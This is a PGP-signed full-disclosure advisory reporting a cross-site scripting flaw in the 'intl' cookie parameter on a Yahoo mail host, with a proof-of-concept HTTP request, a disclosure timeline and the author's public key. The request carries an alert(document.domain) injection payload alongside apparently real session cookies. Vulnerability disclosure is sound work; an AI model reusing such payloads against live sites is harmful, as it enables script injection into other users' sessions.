Yahoo Bug Bounty Program Vulnerability #3 XSS on de-mg42.mail.yahoo.com

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Here is the my last advisory which I've reported in 2013 to the Yahoo
Bug Bounty Program. And again...the same story for this report as for my
others :-/
 
If you're interested, you can read it here:
 
http://darksecurity.de/index.php?/259-Yahoo-Bug-Bounty-Program-Vulnerability-1-XSS-on-ads.yahoo.com.html
http://darksecurity.de/index.php?/254-Yahoo-Bug-Bounty-Program-Vulnerability-2-Open-Redirect.html

Advisory:                    Yahoo Bug Bounty Program Vulnerability #3
XSS on de-mg42.mail.yahoo.com
Advisory ID:               SSCHADV2013-YahooBB-002
Author:                       Stefan Schurtz
Affected Software:    Successfully tested on de-mg42.mail.yahoo.com
Vendor URL:               http://yahoo.com/
Vendor Status:           Not tested anymore
Bounty:                       nothing

==========================
Vulnerability Description
==========================

The 'intl'-Paramter on "https://de-mg42.mail.yahoo.com/" is prone to a
Cross-site Scripting vulnerability

==========================
PoC-Exploit
==========================

GET https://de-mg42.mail.yahoo.com/neo/launch?.rand=02j5el0e9m3mr

Host: de-mg42.mail.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101
Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: YM.SREQs.schurtz=1;
YM.NEO_114841791630661482=width=1920&height=874; B=aj6vf6l8j20rv&b=4&
d=itbFpMNpYFMz7rPwe5JFum_ghxk-&s=i8&i=lvGlArFYMBIJ47eKw1fV;
RMBX=aj6vf6l8j20rv&b=3&s=0k&t=59; V=v=0.90&cc=0&m=0;
POPUPCHECK=1387130698530; adx=c322590@1386248182@1;
T=z=bslqSBbANvSBRhTgC/z0ojCNjA2MAY2NjNPMzYwTjYxNDcxMT&a=QAE&
sk=DAA8V8EU20nhMO&ks=EAAl0SH4Wfzh6QOSww.4WR97g--~E&d=c2wBTVRjeE53RXhNVFE0TkRFM09URTJNekEyTmpFME9ESS0BYQFRQUUBZwFYR1lLREF
LVTdFWjU0SjY3QVJaUEYyMzZZSQFzY2lkAWJIVnpjWTF0a
DdTVFREVFJLZUtxem4yeC5DWS0BYWMBQUVERkQ5VWQBdGlwAWQ1OTc3RAFzYwF3bAF6egFic2xxU0JBN0U-;
F=a=5wuRvLEMvSo9VbE7dA3FBiS57T.ECJPqZKL7SqUSshaxgafrUTyTA2TfmjWAGc1FiTDSLSw-
&b=_pW9; PH=l=de-DE&i=de&fn=K2_4Upj6Mg1KYq4D9FKN;
SSL=v=1&s=ZKphB8TnY2DMWrNEU3WnQdsBp50y6G.DA.GMkzNJBkkaUPmmwLBscSpK5X5gJjBMR671vlpoBasj8HY6cXSNbA--&
kv=0; ywadp100034076556=3167627385;
fpc100034076556=ZavCj2Fd|aEGcHAwNaa|fses100034076556=|aEGcHAwNaa|
ZavCj2Fd|fvis100034076556=|8Mo080oosT|8Mo080oosT|8Mo080oosT|8|8Mo080oosT|8Mo080oosT;
ywadp1000357943879=4084605029;
fpc1000357943879=ZbHoAVDq|0UsAOAwNaa|fses1000357943879=|0UsAOAwNaa|ZbHoAVDq|fvis1000357943879=
|8Mo0807780|8Mo0807780|8Mo0807780|8|8Mo0807780|8Mo0807780; AO=o=0;
YLS=v=1&p=1&n=0; ucs=bnas=0&eup=1;
_br_uid_2=uid%3D9863339468277%3Av%3D10.6.1%3Ats%3D1386895411464%3Ahc%3D1; Y=v=1&n=d7kp7cfrj6gcm&l=i.i27khjp/o
&p=m2evvde012000000&iz=&r=sd&lg=de-DE&intl=dec52a6"-alert(document.domain)-"c8d9133635e;
U=mt=fnqDoZ2MhYjxjMnSZ.dZc46HZp7QbCgwGOhf97k-&
ux=u2JrSB&un=d7kp7cfrj6gcm; ypcdb=cf2c3147a30c5264ccbae29c07ec31b3;
YM=v=2&u=bTYqAOaoqXPwtE2NaDnywgQ.MkXnpDL1MkqqIA--&d=&f=AAA&t=3bKrSB&s=55nr;
DK=v=2&p=NnwyMzMwfFZpcnR1YWx8RGVza3RvcCBCcm93c2VyfHdpbmRvd3MgbnR8NS4x
Connection: keep-alive

==========================
Disclosure Timeline
==========================

15-Dec-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)
31-Dec-2013 - next message to the Yahoo Securiy Contact
04-Jan-2014 - feedback from vendor
04-Jan-2014 - vendor informed again about the three vulnerabilities
06-Jan-2014 - feedback from vendor
15-Jan-2014 - contact with Jeff Zingler (Threat Response@Yahoo)
16-Jan-2013 - contact with Jeff Zingler (Threat Response@Yahoo) // last
contact

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-003.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iEYEARECAAYFAlMa78MACgkQg3svV2LcbMA5hgCgi0sk2j/n8YAMLvQ4Nk3DMy9M
YrwAnAh2YEiFU76e8UU+RVsI9K0zkz35
=DnNI
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)

mQGiBEi5oD4RBAD+03KasYzveqwRhr1VnOyyYwuZTa+JzyyrxHNoz+5sxVQ6fNYK
XmEW4b8H/eJnSiOnSxkJqCQG00DOV0AODn57cBsTb4Ow+NVQ+ARa3TBdPNobbylt
8NU55PRXPVl160gd+LnOzQE2t3l3aNmOPVkIzN87ci1ke8vfzyf3W9bJrwCgmsug
2+Cl+7KgQ/5Nqm2Ej+Z+7GcD/0K2qtF9T61ZaR0g0uz6JQOOvBGFvUCkRMXNuqhU
KEzxwR1tt1BtjEATi55KLuNsF8ZIe9FjySQtnX5bo+91lvH4wPWRI75tMLDrWm+o
yLqSCAo3EMMM2RAG2XYEC/eD/Ri7LqUbdxN7PQssRJTh78pFJ1xJMms5vF/xlA9J
FhlwA/94DXbeqFr0PkmHbpyRbN6VSTiA/ROb7jvn5NrVtq/LqV90bSZCr0HnbEnb
LLecogq6b4Vz5URfIScF7YW4oPmnK/VjqzeZT4QgzH4pe9MnKbMETaS0saNs+fhe
Gdom+jJUjXimSpKDoJYijWKsj1FPWCUTU+em7O4J/cyXn+4KSrQrc3NjaHVydHpA
dC1vbmxpbmUuZGUgPHNzY2h1cnR6QHQtb25saW5lLmRlPohgBBMRAgAgAhsjBgsJ
CAcDAgQVAggDBBYCAwECHgECF4AFAlI1b60ACgkQg3svV2LcbMCGRgCeNGNurYDP
A/J22GMJ1IzDt7w4Od4An06QcRXfyH021UVfhmJGAukAEg1giEYEExECAAYFAkkZ
AegACgkQboWE2jzBnWUd2ACgqcfpG9q6Qth7j+FNg7gK6YrzpkAAn1qTYyLV0qJU
2WQIG+FGv0KH8f91uQINBEi5oD4QCADLDYUx5h9U9mK+fhoPXaJ9kZOufvD/jmkY
7Gcnv+BY6o5+TQrPdwt9cRrDGb9N+3YL7WEsY0gNesiERZz9ZGQONoOYae427Z8f
37y/ueAEP7HGOCIqbhlvY7pt/ceomb4UkESK6x7FzkicnyECQS1SNdcEG88re35B
rtFXOrAYHqXszJVAjaquKhhZyFI2aIZoGEsKBP7xI9dTwUzD5N89FpVF3CXYlmkJ
VpgZGNa/FhWiuw+737sxoacElj5WcT5kWfnr8drXhuZgYhdq+fYvRTLADDZCyBAI
MaQNRgaME+rjM8TC4+4O9HV4ruCatkPxQYmrtYew2pKZJfsrjrvfAAQNCACEGohg
dZ7lSRC/Fe30ga77kyPGZVtcDdvLSuCvtQ2wmfmep0Q6ARHhvVBC6CC08HnkYaaK
fmAWKAVMDBTwL6oLu/s1ighYW/gu53TFpXVp8BOFShwa8h20mbRdN2k9SJpAzIdt
fqZI6L8ImztAV44sO+WKdsaJOisA6nc0vKBohON/pDiwF2xJCTvOh1ihMEDZPZE+
FHJ6zIuQ2kNsrrTh3Wr7QW3mD8qwMv68H6PuLaiJMPmvb62ydZqK2w1Djv8fwVUh
wZ7r+Rz++IVG3qr8EYjub7MEMC8yCslNnmOWSS9B3ooCyuTYolYjoFosl9+oiFTk
mSYgRRo1zb8gZd1ziE8EGBECAA8FAki5oD4CGwwFCQlmAYAACgkQg3svV2LcbMAA
rACeNr7lQSP2hZKwYvIL31rnWnt4PzIAoIdS0xbqBd1ql5RLIjYaz6r+kE5Z
=K6kp
-----END PGP PUBLIC KEY BLOCK-----